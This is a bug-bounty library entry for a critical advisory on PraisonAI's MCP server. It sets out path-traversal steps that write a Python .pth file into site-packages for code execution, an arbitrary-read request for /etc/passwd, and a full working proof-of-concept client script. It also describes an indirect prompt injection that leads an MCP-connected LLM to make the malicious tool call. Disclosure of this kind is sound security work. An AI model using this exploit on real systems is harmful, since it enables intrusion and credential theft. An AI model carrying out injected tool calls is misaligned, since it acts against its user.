# PraisonAI MCP `tools/call` path-traversal => RCE via Python `.pth` injection

PraisonAI MCP file tools join unvalidated rule_name onto ~/.praison/rules, letting a prompt-injected LLM write a .pth into site-packages and gain RCE on next Python start.

- Payout: Research
- Severity: critical
- Program: PraisonAI
- Found by: amwhoi
- Disclosed: 2026-05-11
- CVE: CVE-2026-44336
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-9mqq-jqxf-grvw
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-9mqq-jqxf-grvw
- Tags: area:ai domain:ai domain:oss impact:data-leak impact:rce kind:research platform:ghsa sev:critical tech:python technique:source-review vuln:auth-bypass vuln:path-traversal vuln:prompt-injection vuln:rce

**Target:** MCP server tools/call handlers (rules.create/show/delete, workflow.show) over stdio and HTTP-stream
**Root cause:** The JSON-RPC dispatcher passes params['arguments'] as **kwargs without enforcing the advertised input schema, and the file handlers join user-supplied rule_name onto ~/.praison/rules with no realpath/containment check (workflow.show opens absolute paths outright).
**Steps:**
1. Start `praisonai mcp serve` (stdio) or `--transport http-stream` with default api_key=None on 127.0.0.1:8080/mcp.
2. Send `tools/call` with `{"name":"praisonai.rules.create","arguments":{"rule_name":"../../<path>/x.pth","content":"import os; os.system(...)\n"}}` — traversal escapes ~/.praison/rules.
3. Target the user site-packages dir (e.g. `site.getusersitepackages()`) so the .pth lands where CPython's site.py scans at startup.
4. Spawn any fresh `python -c "pass"`; site.py imports the `import ...` line from the .pth and the payload executes in the new interpreter.
5. For read primitive: `praisonai.workflow.show` with `file_path` = any absolute path (e.g. `/etc/passwd`); `rules.show`/`rules.delete` accept `..` traversal too.
**How found:** Code review of the MCP dispatcher and cli_tools adapters: noticed `tool.handler(**arguments)` with no schema enforcement, then that rules handlers use bare os.path.join / f-string interpolation with no realpath containment, and that workflow.show opens absolute paths. Recognized that a writable arbitrary-file primitive plus CPython's site.py .pth import gives code execution.
**Exploitation:** Attacker (or an LLM under indirect prompt injection from a web page/document/email, or any loopback process/DNS-rebound tab against the unauthenticated HTTP-stream transport) issues tools/call to praisonai.rules.create with a traversal rule_name pointing at user site-packages and a .pth payload. The write succeeds with user privileges; the next Python interpreter the user starts (praisonai CLI, IDE script, REPL, background service) imports the .pth and runs arbitrary code — enabling SSH key/credential exfil, persistence, and pivot to other MCP servers via their config files.
**Escalation:** Path-traversal write primitive escalated to persistent RCE by targeting CPython's .pth auto-import in user site-packages; delivery escalated from local to network-borne via indirect prompt injection into MCP-connected LLMs and via the default no-auth HTTP-stream transport.
**Insight:** When an MCP/agent tool exposes any file write, check whether the write path can reach Python's user site-packages — a single .pth containing an `import` line is a reliable, time-decoupled RCE trigger on the next interpreter start, no elevation needed. Also check whether the JSON-RPC dispatcher enforces the advertised input_schema; reflective schemas are often surfaced but never validated.

## Proof of concept (copied exactly from the original report)

**PoC 3: unauthenticated HTTP-stream attacker client**

```
import json, urllib.request, site, os, sys, subprocess, tempfile
from pathlib import Path

MARKER = Path(tempfile.gettempdir()) / "praisonai_rce_http_marker.txt"
MARKER.unlink(missing_ok=True)

PAYLOAD = (
    "import os, pathlib; "
    f"pathlib.Path(r'{MARKER}').write_text(f'HTTP-RCE pid={{os.getpid()}}')"
    "\n"
)
TARGET = Path(site.getusersitepackages()) / "praisonai_http_poc.pth"
RULES = Path(os.path.expanduser("~/.praison/rules")).resolve()
REL = os.path.relpath(TARGET, RULES)

def post(payload):
    req = urllib.request.Request("http://127.0.0.1:8080/mcp",
        data=json.dumps(payload).encode(),
        headers={"Content-Type": "application/json"})
    return urllib.request.urlopen(req).read().decode()

print(post({"jsonrpc": "2.0", "id": 1, "method": "initialize",
    "params": {"protocolVersion": "2025-11-25",
               "clientInfo": {"name": "atk", "version": "0"},
               "capabilities": {}}}))
print(post({"jsonrpc": "2.0", "id": 2, "method": "tools/call",
    "params": {"name": "praisonai.rules.create",
               "arguments": {"rule_name": REL, "content": PAYLOAD}}}))

# Trigger — any future python invocation reads .pth at startup
subprocess.run([sys.executable, "-c", "pass"], check=True)
print("marker:", MARKER.read_text() if MARKER.exists() else "(missing)")

# Cleanup
TARGET.unlink(missing_ok=True)
MARKER.unlink(missing_ok=True)
```

